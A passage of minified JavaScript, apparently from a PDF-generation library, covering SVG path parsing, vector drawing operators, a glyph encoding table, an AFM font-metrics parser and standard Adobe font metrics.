c=e.charAt(l);if(zNe(c))continue;if(s&amp;&amp;c===&quot;,&quot;){if(o)break;o=!0;continue}if(UNe(c)){if(o)return t;if(r==null){if(c!==&quot;M&quot;&amp;&amp;c!==&quot;m&quot;)return t}else if(n.length!==0)return t;r=c,n=[],i=sW[r],s=!1,i===0&amp;&amp;t.push({command:r,args:n});continue}if(r==null)return t;let d=l,u=null;if(r===&quot;A&quot;||r===&quot;a&quot;){const h=n.length;(h===0||h===1)&amp;&amp;c!==&quot;+&quot;&amp;&amp;c!==&quot;-&quot;&amp;&amp;([d,u]=e3(e,l)),(h===2||h===5||h===6)&amp;&amp;([d,u]=e3(e,l)),(h===3||h===4)&amp;&amp;(c===&quot;0&quot;&amp;&amp;(u=0),c===&quot;1&quot;&amp;&amp;(u=1))}else[d,u]=e3(e,l);if(u==null)return t;n.push(u),s=!0,o=!1,l=d,n.length===i&amp;&amp;(t.push({command:r,args:n}),r===&quot;M&quot;&amp;&amp;(r=&quot;L&quot;),r===&quot;m&quot;&amp;&amp;(r=&quot;l&quot;),n=[])}return t},qNe=function(e,t){zr=$r=Jn=Ii=MA=UA=0;for(let r=0;r&lt;e.length;r++){const{command:n,args:i}=e[r];typeof LP[n]==&quot;function&quot;&amp;&amp;LP[n](t,i)}},LP={M(e,t){return zr=t[0],$r=t[1],Jn=Ii=null,MA=zr,UA=$r,e.moveTo(zr,$r)},m(e,t){return zr+=t[0],$r+=t[1],Jn=Ii=null,MA=zr,UA=$r,e.moveTo(zr,$r)},C(e,t){return zr=t[4],$r=t[5],Jn=t[2],Ii=t[3],e.bezierCurveTo(...t)},c(e,t){return e.bezierCurveTo(t[0]+zr,t[1]+$r,t[2]+zr,t[3]+$r,t[4]+zr,t[5]+$r),Jn=zr+t[2],Ii=$r+t[3],zr+=t[4],$r+=t[5]},S(e,t){return Jn===null&amp;&amp;(Jn=zr,Ii=$r),e.bezierCurveTo(zr-(Jn-zr),$r-(Ii-$r),t[0],t[1],t[2],t[3]),Jn=t[0],Ii=t[1],zr=t[2],$r=t[3]},s(e,t){return Jn===null&amp;&amp;(Jn=zr,Ii=$r),e.bezierCurveTo(zr-(Jn-zr),$r-(Ii-$r),zr+t[0],$r+t[1],zr+t[2],$r+t[3]),Jn=zr+t[0],Ii=$r+t[1],zr+=t[2],$r+=t[3]},Q(e,t){return Jn=t[0],Ii=t[1],zr=t[2],$r=t[3],e.quadraticCurveTo(t[0],t[1],zr,$r)},q(e,t){return e.quadraticCurveTo(t[0]+zr,t[1]+$r,t[2]+zr,t[3]+$r),Jn=zr+t[0],Ii=$r+t[1],zr+=t[2],$r+=t[3]},T(e,t){return Jn===null?(Jn=zr,Ii=$r):(Jn=zr-(Jn-zr),Ii=$r-(Ii-$r)),e.quadraticCurveTo(Jn,Ii,t[0],t[1]),Jn=zr-(Jn-zr),Ii=$r-(Ii-$r),zr=t[0],$r=t[1]},t(e,t){return Jn===null?(Jn=zr,Ii=$r):(Jn=zr-(Jn-zr),Ii=$r-(Ii-$r)),e.quadraticCurveTo(Jn,Ii,zr+t[0],$r+t[1]),zr+=t[0],$r+=t[1]},A(e,t){return MP(e,zr,$r,t),zr=t[5],$r=t[6]},a(e,t){return t[5]+=zr,t[6]+=$r,MP(e,zr,$r,t),zr=t[5],$r=t[6]},L(e,t){return zr=t[0],$r=t[1],Jn=Ii=null,e.lineTo(zr,$r)},l(e,t){return zr+=t[0],$r+=t[1],Jn=Ii=null,e.lineTo(zr,$r)},H(e,t){return zr=t[0],Jn=Ii=null,e.lineTo(zr,$r)},h(e,t){return zr+=t[0],Jn=Ii=null,e.lineTo(zr,$r)},V(e,t){return $r=t[0],Jn=Ii=null,e.lineTo(zr,$r)},v(e,t){return $r+=t[0],Jn=Ii=null,e.lineTo(zr,$r)},Z(e){return e.closePath(),zr=MA,$r=UA},z(e){return e.closePath(),zr=MA,$r=UA}},MP=function(e,t,r,n){const[i,s,o,l,c,d,u]=n,h=GNe(d,u,i,s,l,c,o,t,r);for(let p of h){const A=VNe(...p);e.bezierCurveTo(...A)}},GNe=function(e,t,r,n,i,s,o,l,c){const d=o*(Math.PI/180),u=Math.sin(d),h=Math.cos(d);r=Math.abs(r),n=Math.abs(n),Jn=h*(l-e)*.5+u*(c-t)*.5,Ii=h*(c-t)*.5-u*(l-e)*.5;let p=Jn*Jn/(r*r)+Ii*Ii/(n*n);p&gt;1&amp;&amp;(p=Math.sqrt(p),r*=p,n*=p);const A=h/r,y=u/r,v=-u/n,w=h/n,j=A*l+y*c,E=v*l+w*c,S=A*e+y*t,_=v*e+w*t;let Q=1/((S-j)*(S-j)+(_-E)*(_-E))-.25;Q&lt;0&amp;&amp;(Q=0);let R=Math.sqrt(Q);s===i&amp;&amp;(R=-R);const T=.5*(j+S)-R*(_-E),M=.5*(E+_)+R*(S-j),O=Math.atan2(E-M,j-T);let P=Math.atan2(_-M,S-T)-O;P&lt;0&amp;&amp;s===1?P+=2*Math.PI:P&gt;0&amp;&amp;s===0&amp;&amp;(P-=2*Math.PI);const L=Math.ceil(Math.abs(P/(Math.PI*.5+.001))),X=[];for(let W=0;W&lt;L;W++){const G=O+W*P/L,J=O+(W+1)*P/L;X[W]=[T,M,G,J,r,n,u,h]}return X},VNe=function(e,t,r,n,i,s,o,l){const c=l*i,d=-o*s,u=o*i,h=l*s,p=.5*(n-r),A=8/3*Math.sin(p*.5)*Math.sin(p*.5)/Math.sin(p),y=e+Math.cos(r)-A*Math.sin(r),v=t+Math.sin(r)+A*Math.cos(r),w=e+Math.cos(n),j=t+Math.sin(n),E=w+A*Math.sin(n),S=j-A*Math.cos(n);return[c*y+d*v,u*y+h*v,c*E+d*S,u*E+h*S,c*w+d*j,u*w+h*j]};class WNe{static apply(t,r){const n=HNe(r);qNe(n,t)}}const{number:cs}=uu,bb=4*((Math.sqrt(2)-1)/3);var KNe={initVector(){return this._ctm=[1,0,0,1,0,0],this._ctmStack=[]},save(){return this._ctmStack.push(this._ctm.slice()),this.addContent(&quot;q&quot;)},restore(){return this._ctm=this._ctmStack.pop()||[1,0,0,1,0,0],this.addContent(&quot;Q&quot;)},closePath(){return this.addContent(&quot;h&quot;)},lineWidth(e){return this.addContent(`${cs(e)} w`)},_CAP_STYLES:{BUTT:0,ROUND:1,SQUARE:2},lineCap(e){return typeof e==&quot;string&quot;&amp;&amp;(e=this._CAP_STYLES[e.toUpperCase()]),this.addContent(`${e} J`)},_JOIN_STYLES:{MITER:0,ROUND:1,BEVEL:2},lineJoin(e){return typeof e==&quot;string&quot;&amp;&amp;(e=this._JOIN_STYLES[e.toUpperCase()]),this.addContent(`${e} j`)},miterLimit(e){return this.addContent(`${cs(e)} M`)},dash(e,t){t===void 0&amp;&amp;(t={});const r=e;if(Array.isArray(e)||(e=[e,t.space||e]),!e.every(i=&gt;Number.isFinite(i)&amp;&amp;i&gt;0))throw new Error(`dash(${JSON.stringify(r)}, ${JSON.stringify(t)}) invalid, lengths must be numeric and greater than zero`);return e=e.map(cs).join(&quot; &quot;),this.addContent(`[${e}] ${cs(t.phase||0)} d`)},undash(){return this.addContent(&quot;[] 0 d&quot;)},moveTo(e,t){return this.addContent(`${cs(e)} ${cs(t)} m`)},lineTo(e,t){return this.addContent(`${cs(e)} ${cs(t)} l`)},bezierCurveTo(e,t,r,n,i,s){return this.addContent(`${cs(e)} ${cs(t)} ${cs(r)} ${cs(n)} ${cs(i)} ${cs(s)} c`)},quadraticCurveTo(e,t,r,n){return this.addContent(`${cs(e)} ${cs(t)} ${cs(r)} ${cs(n)} v`)},rect(e,t,r,n){return this.addContent(`${cs(e)} ${cs(t)} ${cs(r)} ${cs(n)} re`)},roundedRect(e,t,r,n,i){i==null&amp;&amp;(i=0),i=Math.min(i,.5*r,.5*n);const s=i*(1-bb);return this.moveTo(e+i,t),this.lineTo(e+r-i,t),this.bezierCurveTo(e+r-s,t,e+r,t+s,e+r,t+i),this.lineTo(e+r,t+n-i),this.bezierCurveTo(e+r,t+n-s,e+r-s,t+n,e+r-i,t+n),this.lineTo(e+i,t+n),this.bezierCurveTo(e+s,t+n,e,t+n-s,e,t+n-i),this.lineTo(e,t+i),this.bezierCurveTo(e,t+s,e+s,t,e+i,t),this.closePath()},ellipse(e,t,r,n){n==null&amp;&amp;(n=r),e-=r,t-=n;const i=r*bb,s=n*bb,o=e+r*2,l=t+n*2,c=e+r,d=t+n;return this.moveTo(e,d),this.bezierCurveTo(e,d-s,c-i,t,c,t),this.bezierCurveTo(c+i,t,o,d-s,o,d),this.bezierCurveTo(o,d+s,c+i,l,c,l),this.bezierCurveTo(c-i,l,e,d+s,e,d),this.closePath()},circle(e,t,r){return this.ellipse(e,t,r)},arc(e,t,r,n,i,s){s==null&amp;&amp;(s=!1);const o=2*Math.PI,l=.5*Math.PI;let c=i-n;Math.abs(c)&gt;o?c=o:c!==0&amp;&amp;s!==c&lt;0&amp;&amp;(c=(s?-1:1)*o+c);const d=Math.ceil(Math.abs(c)/l),u=c/d,h=u/l*bb*r;let p=n,A=-Math.sin(p)*h,y=Math.cos(p)*h,v=e+Math.cos(p)*r,w=t+Math.sin(p)*r;this.moveTo(v,w);for(let j=0;j&lt;d;j++){const E=v+A,S=w+y;p+=u,v=e+Math.cos(p)*r,w=t+Math.sin(p)*r,A=-Math.sin(p)*h,y=Math.cos(p)*h;const _=v-A,C=w-y;this.bezierCurveTo(E,S,_,C,v,w)}return this},polygon(){for(var e=arguments.length,t=new Array(e),r=0;r&lt;e;r++)t[r]=arguments[r];this.moveTo(...t.shift()||[]);for(let n of t)this.lineTo(...n||[]);return this.closePath()},path(e){return WNe.apply(this,e),this},_windingRule(e){return/even-?odd/.test(e)?&quot;*&quot;:&quot;&quot;},fill(e,t){return/(even-?odd)|(non-?zero)/.test(e)&amp;&amp;(t=e,e=null),e&amp;&amp;this.fillColor(e),this.addContent(`f${this._windingRule(t)}`)},stroke(e){return e&amp;&amp;this.strokeColor(e),this.addContent(&quot;S&quot;)},fillAndStroke(e,t,r){t==null&amp;&amp;(t=e);const n=/(even-?odd)|(non-?zero)/;return n.test(e)&amp;&amp;(r=e,e=null),n.test(t)&amp;&amp;(r=t,t=e),e&amp;&amp;(this.fillColor(e),this.strokeColor(t)),this.addContent(`B${this._windingRule(r)}`)},clip(e){return this.addContent(`W${this._windingRule(e)} n`)},transform(e,t,r,n,i,s){if(e===1&amp;&amp;t===0&amp;&amp;r===0&amp;&amp;n===1&amp;&amp;i===0&amp;&amp;s===0)return this;const o=this._ctm,[l,c,d,u,h,p]=o;o[0]=l*e+d*t,o[1]=c*e+u*t,o[2]=l*r+d*n,o[3]=c*r+u*n,o[4]=l*i+d*s+h,o[5]=c*i+u*s+p;const A=[e,t,r,n,i,s].map(y=&gt;cs(y)).join(&quot; &quot;);return this.addContent(`${A} cm`)},translate(e,t){return this.transform(1,0,0,1,e,t)},rotate(e,t){t===void 0&amp;&amp;(t={});let r;const n=e*Math.PI/180,i=Math.cos(n),s=Math.sin(n);let o=r=0;if(t.origin!=null){[o,r]=t.origin;const l=o*i-r*s,c=o*s+r*i;o-=l,r-=c}return this.transform(i,s,-s,i,o,r)},scale(e,t,r){r===void 0&amp;&amp;(r={});let n;t==null&amp;&amp;(t=e),typeof t==&quot;object&quot;&amp;&amp;(r=t,t=e);let i=n=0;return r.origin!=null&amp;&amp;([i,n]=r.origin,i-=e*i,n-=t*n),this.transform(e,0,0,t,i,n)}},Uw={};const YNe=(e,t,r)=&gt;{let n=[],i=t+1;for(let s=e;s&lt;i;s++)n.push(s);return n},UP={402:131,8211:150,8212:151,8216:145,8217:146,8218:130,8220:147,8221:148,8222:132,8224:134,8225:135,8226:149,8230:133,8364:128,8240:137,8249:139,8250:155,710:136,8482:153,338:140,339:156,732:152,352:138,353:154,376:159,381:142,382:158},zP=`.notdef       .notdef        .notdef        .notdef
.notdef       .notdef        .notdef        .notdef
.notdef       .notdef        .notdef        .notdef
.notdef       .notdef        .notdef        .notdef
.notdef       .notdef        .notdef        .notdef
.notdef       .notdef        .notdef        .notdef
.notdef       .notdef        .notdef        .notdef
.notdef       .notdef        .notdef        .notdef

space         exclam         quotedbl       numbersign
dollar        percent        ampersand      quotesingle
parenleft     parenright     asterisk       plus
comma         hyphen         period         slash
zero          one            two            three
four          five           six            seven
eight         nine           colon          semicolon
less          equal          greater        question

at            A              B              C
D             E              F              G
H             I              J              K
L             M              N              O
P             Q              R              S
T             U              V              W
X             Y              Z              bracketleft
backslash     bracketright   asciicircum    underscore

grave         a              b              c
d             e              f              g
h             i              j              k
l             m              n              o
p             q              r              s
t             u              v              w
x             y              z              braceleft
bar           braceright     asciitilde     .notdef

Euro          .notdef        quotesinglbase florin
quotedblbase  ellipsis       dagger         daggerdbl
circumflex    perthousand    Scaron         guilsinglleft
OE            .notdef        Zcaron         .notdef
.notdef       quoteleft      quoteright     quotedblleft
quotedblright bullet         endash         emdash
tilde         trademark      scaron         guilsinglright
oe            .notdef        zcaron         ydieresis

space         exclamdown     cent           sterling
currency      yen            brokenbar      section
dieresis      copyright      ordfeminine    guillemotleft
logicalnot    hyphen         registered     macron
degree        plusminus      twosuperior    threesuperior
acute         mu             paragraph      periodcentered
cedilla       onesuperior    ordmasculine   guillemotright
onequarter    onehalf        threequarters  questiondown

Agrave        Aacute         Acircumflex    Atilde
Adieresis     Aring          AE             Ccedilla
Egrave        Eacute         Ecircumflex    Edieresis
Igrave        Iacute         Icircumflex    Idieresis
Eth           Ntilde         Ograve         Oacute
Ocircumflex   Otilde         Odieresis      multiply
Oslash        Ugrave         Uacute         Ucircumflex
Udieresis     Yacute         Thorn          germandbls

agrave        aacute         acircumflex    atilde
adieresis     aring          ae             ccedilla
egrave        eacute         ecircumflex    edieresis
igrave        iacute         icircumflex    idieresis
eth           ntilde         ograve         oacute
ocircumflex   otilde         odieresis      divide
oslash        ugrave         uacute         ucircumflex
udieresis     yacute         thorn          ydieresis`.split(/\s+/);function ZNe(e){const t={attributes:{},glyphWidths:{},kernPairs:{}};let r=&quot;&quot;;for(let c of e.split(`
`)){var n,i;if(n=c.match(/^Start(\w+)/)){r=n[1];continue}else if(n=c.match(/^End(\w+)/)){r=&quot;&quot;;continue}switch(r){case&quot;FontMetrics&quot;:n=c.match(/(^\w+)\s+(.*)/);var s=n[1],o=n[2];(i=t.attributes[s])?(Array.isArray(i)||(i=t.attributes[s]=[i]),i.push(o)):t.attributes[s]=o;break;case&quot;CharMetrics&quot;:if(!/^CH?\s/.test(c))continue;var l=c.match(/\bN\s+(\.?\w+)\s*;/)[1];t.glyphWidths[l]=+c.match(/\bWX\s+(\d+)\s*;/)[1];break;case&quot;KernPairs&quot;:n=c.match(/^KPX\s+(\.?\w+)\s+(\.?\w+)\s+(-?\d+)/),n&amp;&amp;(t.kernPairs[n[1]+n[2]]=parseInt(n[3]));break}}return t}class s8{static open(t){throw new Error(&quot;AFMFont.open not available on browser build&quot;)}static fromJson(t){return new s8(t)}constructor(t){typeof t==&quot;string&quot;?(this.contents=t,this.parse()):(this.attributes=t.attributes,this.glyphWidths=t.glyphWidths,this.kernPairs=t.kernPairs),this.charWidths=YNe(0,255).map(r=&gt;this.glyphWidths[zP[r]]),this.bbox=Array.from(this.attributes.FontBBox.split(/\s+/)).map(r=&gt;+r),this.ascender=+(this.attributes.Ascender||0),this.descender=+(this.attributes.Descender||0),this.xHeight=+(this.attributes.XHeight||0),this.capHeight=+(this.attributes.CapHeight||0),this.lineGap=this.bbox[3]-this.bbox[1]-(this.ascender-this.descender)}parse(){const t=ZNe(this.contents);this.attributes=t.attributes,this.glyphWidths=t.glyphWidths,this.kernPairs=t.kernPairs}encodeText(t){const r=[];for(let n=0,i=t.length,s=0&lt;=i;s?n&lt;i:n&gt;i;s?n++:n--){let o=t.charCodeAt(n);o=UP[o]||o,r.push(o.toString(16))}return r}glyphsForString(t){const r=[];for(let n=0,i=t.length,s=0&lt;=i;s?n&lt;i:n&gt;i;s?n++:n--){const o=t.charCodeAt(n);r.push(this.characterToGlyph(o))}return r}characterToGlyph(t){return zP[UP[t]||t]||&quot;.notdef&quot;}widthOfGlyph(t){return this.glyphWidths[t]||0}getKernPair(t,r){return this.kernPairs[t+r]||0}advancesForGlyphs(t){const r=[];for(let n=0;n&lt;t.length;n++){const i=t[n],s=t[n+1];r.push(this.widthOfGlyph(i)+this.getKernPair(i,s))}return r}}var JNe=[{Comment:[&quot;Copyright (c) 1985, 1987, 1989, 1990, 1997 Adobe Systems Incorporated.  All Rights Reserved.&quot;,&quot;Creation Date: Thu May  1 12:43:52 1997&quot;,&quot;UniqueID 43052&quot;,&quot;VMusage 37169 48194&quot;],FontName:&quot;Helvetica-Bold&quot;,FullName:&quot;Helvetica Bold&quot;,FamilyName:&quot;Helvetica&quot;,Weight:&quot;Bold&quot;,ItalicAngle:&quot;0&quot;,IsFixedPitch:&quot;false&quot;,CharacterSet:&quot;ExtendedRoman&quot;,FontBBox:&quot;-170 -228 1003 962 &quot;,UnderlinePosition:&quot;-100&quot;,UnderlineThickness:&quot;50&quot;,Version:&quot;002.000&quot;,Notice:&quot;Copyright (c) 1985, 1987, 1989, 1990, 1997 Adobe Systems Incorporated.  All Rights Reserved.Helvetica is a trademark of Linotype-Hell AG and/or its subsidiaries.&quot;,EncodingScheme:&quot;AdobeStandardEncoding&quot;,CapHeight:&quot;718&quot;,XHeight:&quot;532&quot;,Ascender:&quot;718&quot;,Descender:&quot;-207&quot;,StdHW:&quot;118&quot;,StdVW:&quot;140&quot;},{Comment:[&quot;Copyright (c) 1985, 1987, 1989, 1990, 1997 Adobe Systems Incorporated.  All Rights Reserved.&quot;,&quot;Creation Date: Thu May  1 12:45:12 1997&quot;,&quot;UniqueID 43053&quot;,&quot;VMusage 14482 68586&quot;],FontName:&quot;Helvetica-BoldOblique&quot;,FullName:&quot;Helvetica Bold Oblique&quot;,FamilyName:&quot;Helvetica&quot;,Weight:&quot;Bold&quot;,ItalicAngle:&quot;-12&quot;,IsFixedPitch:&quot;false&quot;,CharacterSet:&quot;ExtendedRoman&quot;,FontBBox:&quot;-174 -228 1114 962&quot;,UnderlinePosition:&quot;-100&quot;,UnderlineThickness:&quot;50&quot;,Version:&quot;002.000&quot;,Notice:&quot;Copyright (c) 1985, 1987, 1989, 1990, 1997 Adobe Systems Incorporated.  All Rights Reserved.Helvetica is a trademark of Linotype-Hell AG and/or its subsidiaries.&quot;,EncodingScheme:&quot;AdobeStandardEncoding&quot;,CapHeight:&quot;718&quot;,XHeight:&quot;532&quot;,Ascender:&quot;718&quot;,Descender:&quot;-207&quot;,StdHW:&quot;118&quot;,StdVW:&quot;140&quot;},{Comment:[&quot;Copyright (c) 1985, 1987, 1989, 1990, 1997 Adobe Systems Incorporated.  All Rights Reserved.&quot;,&quot;Creation Date: Thu May  1 12:44:31 1997&quot;,&quot;UniqueID 43055&quot;,&quot;VMusage 14960 69346&quot;],FontName:&quot;Helvetica-Oblique&quot;,FullName:&quot;Helvetica Oblique&quot;,FamilyName:&quot;Helvetica&quot;,Weight:&quot;Medium&quot;,ItalicAngle:&quot;-12&quot;,IsFixedPitch:&quot;false&quot;,CharacterSet:&quot;ExtendedRoman&quot;,FontBBox:&quot;-170 -225 1116 931 &quot;,UnderlinePosition:&quot;-100&quot;,UnderlineThickness:&quot;50&quot;,Version:&quot;002.000&quot;,Notice:&quot;Copyright (c) 1985, 1987, 1989, 1990, 1997 Adobe Systems Incorporated.  All Rights Reserved.Helvetica is a trademark of Linotype-Hell AG and/or its subsidiaries.&quot;,EncodingScheme:&quot;AdobeStandardEncoding&quot;,CapHeight:&quot;718&quot;,XHeight:&quot;523&quot;,Ascender:&quot;718&quot;,Descender:&quot;-207&quot;,StdHW:&quot;76&quot;,StdVW:&quot;88&quot;},{Comment:[&quot;Copyright (c) 1985, 1987, 1989, 1990, 1997 Adobe Systems Incorporated.  All Rights Reserved.&quot;,&quot;Creation Date: Thu May  1 12:38:23 1997&quot;,&quot;UniqueID 43054&quot;,&quot;VMusage 37069 48094&quot;],FontName:&quot;Helvetica&quot;,FullName:&quot;Helvetica&quot;,FamilyName:&quot;Helvetica&quot;,Weight:&quot;Medium&quot;,ItalicAngle:&quot;0&quot;,IsFixedPitch:&quot;false&quot;,CharacterSet:&quot;ExtendedRoman&quot;,FontBBox:&quot;-166 -225 1000 931 &quot;,UnderlinePosition:&quot;-100&quot;,UnderlineThickness:&quot;50&quot;,Version:&quot;002.000&quot;,Notice:&quot;Copyright (c) 1985, 1987, 1989, 1990, 1997 Adobe Systems Incorporated.  All Rights Reserved.Helvetica is a trademark of Linotype-Hell AG and/or its subsidiaries.&quot;,EncodingScheme:&quot;AdobeStandardEncoding&quot;,CapHeight:&quot;718&quot;,XHeight:&quot;523&quot;,Ascender:&quot;718&quot;,Descender:&quot;-207&quot;,StdHW:&quot;76&quot;,StdVW:&quot;88&quot;},{Comment:[&quot;Copyright (c) 1985, 1987, 1989, 1990, 1993, 1997 Adobe Systems Incorporated.  All Rights Reserved.&quot;,&quot;Creation Date: Thu May  1 12:52:56 1997&quot;,&quot;UniqueID 43065&quot;,&quot;VMusage 41636 52661&quot;],FontName:&quot;Times-Bold&quot;,FullName:&quot;Times Bold&quot;,FamilyName:&quot;Times&quot;,Weight:&quot;Bold&quot;,ItalicAngle:&quot;0&quot;,IsFixedPitch:&quot;false&quot;,CharacterSet:&quot;ExtendedRoman&quot;,FontBBox:&quot;-168 -218 1000 935 &quot;,UnderlinePosition:&quot;-100&quot;,UnderlineThickness:&quot;50&quot;,Version:&quot;002.000&quot;,Notice:&quot;Copyright (c) 1985, 1987, 1989, 1990, 1993, 1997 Adobe Systems Incorporated.  All Rights Reserved.Times is a trademark of Linotype-Hell AG and/or its subsidiaries.&quot;,EncodingScheme:&quot;AdobeStandardEncoding&quot;,CapHeight:&quot;676&quot;,XHeight:&quot;461&quot;,Ascender:&quot;683&quot;,Descender:&quot;-217&quot;,StdHW:&quot;44&quot;,StdVW:&quot;139&quot;},{Comment:[&quot;Copyright (c) 1985, 1987, 1989, 1990, 1993, 1997 Adobe Systems Incorporated.  All Rights Reserved.&quot;,&quot;Creation Date: Thu May  1 13:04:06 1997&quot;,&quot;UniqueID 43066&quot;,&quot;VMusage 45874 56899&quot;],FontName:&quot;Times-BoldItalic&quot;,FullName:&quot;Times Bold Italic&quot;,FamilyName:&quot;Times&quot;,Weight:&quot;Bold&quot;,ItalicAngle:&quot;-15&quot;,IsFixedPitch:&quot;false&quot;,CharacterSet:&quot;ExtendedRoman&quot;,FontBBox:&quot;-200 -218 996 921&quot;,UnderlinePosition:&quot;-100&quot;,UnderlineThickness:&quot;50&quot;,Version:&quot;002.000&quot;,Notice:&quot;Copyright (c) 1985, 1987, 1989, 1990, 1993, 1997 Adobe Systems Incorporated.  All Rights Reserved.Times is a trademark of Linotype-Hell AG and/or its subsidiaries.&quot;,EncodingScheme:&quot;AdobeStandardEncoding&quot;,CapHeight:&quot;669&quot;,XHeight:&quot;462&quot;,Ascender:&quot;683&quot;,Descender:&quot;-217&quot;,StdHW:&quot;42&quot;,StdVW:&quot;121&quot;},{Comment:[&quot;Copyright (c) 1985, 1987, 1989, 1990, 1993, 1997 Adobe Systems Incorporated.  All Rights Reserved.&quot;,&quot;Creation Date: Thu May  1 12:56:55 1997&quot;,&quot;UniqueID 43067&quot;,&quot;VMusage 47727 58752&quot;],FontName:&quot;Times-Italic&quot;,FullName:&quot;Times Italic&quot;,FamilyName:&quot;Times&quot;,Weight:&quot;Medium&quot;,ItalicAngle:&quot;-15.5&quot;,IsFixedPitch:&quot;false&quot;,CharacterSet:&quot;ExtendedRoman&quot;,FontBBox:&quot;-169 -217 1010 883 &quot;,UnderlinePosition:&quot;-100&quot;,UnderlineThickness:&quot;50&quot;,Version:&quot;002.000&quot;,Notice:&quot;Copyright (c) 1985, 1987, 1989, 1990, 1993, 1997 Adobe Systems Incorporated.  All Rights Reserved.Times is a trademark of Linotype-Hell AG and/or its subsidiaries.&quot;,EncodingScheme:&quot;AdobeStandardEncoding&quot;,CapHeight:&quot;653&quot;,XHeight:&quot;441&quot;,Ascender:&quot;683&quot;,Descender:&quot;-217&quot;,StdHW:&quot;32&quot;,StdVW:&quot;76&quot;},{Comment:[&quot;Copyright (c) 1985, 1987, 1989, 1990, 1993, 1997 Adobe Systems Incorporated.  All Rights Reserved.&quot;,&quot;Creation Date: Thu May  1 12:49:17 1997&quot;,&quot;UniqueID 43068&quot;,&quot;VMusage 43909 54934&quot;],FontName:&quot;Times-Roman&quot;,FullName:&quot;Times Roman&quot;,FamilyName:&quot;Times&quot;,Weight:&quot;Roman&quot;,ItalicAngle:&quot;0&quot;,IsFixedPitch:&quot;false&quot;,CharacterSet:&quot;ExtendedRoman&quot;,FontBBox:&quot;-168 -218 1000 898 &quot;,UnderlinePosition:&quot;-100&quot;,UnderlineThickness:&quot;50&quot;,Version:&quot;002.000&quot;,Notice:&quot;Copyright (c) 1985, 1987, 1989, 1990, 1993, 1997 Adobe Systems Incorporated.  All Rights Reserved.Times is a trademark of Linotype-Hell AG and/or its subsidiaries.&quot;,EncodingScheme:&quot;AdobeStandardEncoding&quot;,CapHeight:&quot;662&quot;,XHeight:&quot;450&quot;,Ascender:&quot;683&quot;,Descender:&quot;-217&quot;,StdHW:&quot;28&quot;,StdVW:&quot;84&quot;},{Comment:[&quot;Copyright (c) 1989, 1990, 1991, 1993, 1997 Adobe Systems Incorporated.  All Rights Reserved.&quot;,&quot;Creation Date: Mon Jun 23 16:28:00 1997&quot;,&quot;UniqueID 43048&quot;,&quot;VMusage 41139 52164&quot;],FontName:&quot;Courier-Bold&quot;,FullName:&quot;Courier Bold&quot;,FamilyName:&quot;Courier&quot;,Weight:&quot;Bold&quot;,ItalicAngle:&quot;0&quot;,IsFixedPitch:&quot;true&quot;,CharacterSet:&quot;ExtendedRoman&quot;,FontBBox:&quot;-113 -250 749 801 &quot;,UnderlinePosition:&quot;-100&quot;,UnderlineThickness:&quot;50&quot;,Version:&quot;003.000&quot;,Notice:&quot;Copyright (c) 1989, 1990, 1991, 1993, 1997 Adobe Systems Incorporated.  All Rights Reserved.&quot;,EncodingScheme:&quot;AdobeStandardEncoding&quot;,CapHeight:&quot;562&quot;,XHeight:&quot;439&quot;,Ascender:&quot;629&quot;,Descender:&quot;-157&quot;,StdHW:&quot;84&quot;,StdVW:&quot;106&quot;},{Comment:[&quot;Copyright (c) 1989, 1990, 1991, 1993, 1997 Adobe Systems Incorporated.  All Rights Reserved.&quot;,&quot;Creation Date: Mon Jun 23 16:28:46 1997&quot;,&quot;UniqueID 43049&quot;,&quot;VMusage 17529 79244&quot;],FontName:&quot;Courier-BoldOblique&quot;,FullName:&quot;Courier Bold Oblique&quot;,FamilyName:&quot;Courier&quot;,Weight:&quot;Bold&quot;,ItalicAngle:&quot;-12&quot;,IsFixedPitch:&quot;true&quot;,CharacterSet:&quot;ExtendedRoman&quot;,FontBBox:&quot;-57 -250 869 801&quot;,UnderlinePosition:&quot;-100&quot;,UnderlineThickness:&quot;50&quot;,Version:&quot;003.000&quot;,Notice:&quot;Copyright (c) 1989, 1990, 1991, 1993, 1997 Adobe Systems Incorporated.  All Rights Reserved.&quot;,EncodingScheme:&quot;AdobeStandardEncoding&quot;,CapHeight:&quot;562&quot;,XHeight:&quot;439&quot;,Ascender:&quot;629&quot;,Descender:&quot;-157&quot;,StdHW:&quot;84&quot;,StdVW:&quot;106&quot;},{Comment:[&quot;Copyright (c) 1989, 1990, 1991, 1992, 1993, 1997 Adobe Systems Incorporated.  All Rights Reserved.&quot;,&quot;Creation Date: Thu May  1 17:37:52 1997&quot;,&quot;UniqueID 43051&quot;,&quot;VMusage 16248 75829&quot;],FontName:&quot;Courier-Oblique&quot;,FullName:&quot;Courier Oblique&quot;,FamilyName:&quot;Courier&quot;,Weight:&quot;Medium&quot;,ItalicAngle:&quot;-12&quot;,IsFixedPitch:&quot;true&quot;,CharacterSet:&quot;ExtendedRoman&quot;,FontBBox:&quot;-27 -250 849 805 &quot;,UnderlinePosition:&quot;-100&quot;,UnderlineThickness:&quot;50&quot;,Version:&quot;003.000&quot;,Notice:&quot;Copyright (c) 1989, 1990, 1991, 1992, 1993, 1997 Adobe Systems Incorporated.  All Rights Reserved.&quot;,EncodingScheme:&quot;AdobeStandardEncoding&quot;,CapHeight:&quot;562&quot;,XHeight:&quot;426&quot;,Ascender:&quot;629&quot;,Descender:&quot;-157&quot;,StdHW:&quot;51&quot;,StdVW:&quot;51&quot;},{Comment:[&quot;Copyright (c) 1989, 1990, 1991, 1992, 1993, 1997 Adobe Systems Incorporated.  All Rights Reserved.&quot;,&quot;Creation Date: Thu May  1 17:27:09 1997&quot;,&quot;UniqueID 43050&quot;,&quot;VMusage 39754 50779&quot;],FontName:&quot;Courier&quot;,FullName:&quot;Courier&quot;,FamilyName:&quot;Courier&quot;,Weight:&quot;Medium&quot;,ItalicAngle:&quot;0&quot;,IsFixedPitch:&quot;true&quot;,CharacterSet:&quot;ExtendedRoman&quot;,FontBBox:&quot;-23 -250 715 805 &quot;,UnderlinePosition:&quot;-100&quot;,UnderlineThickness:&quot;50&quot;,Version:&quot;003.000&quot;,Notice:&quot;Copyright (c) 1989, 1990, 1991, 1992, 1993, 1997 Adobe Systems Incorporated.  All Rights 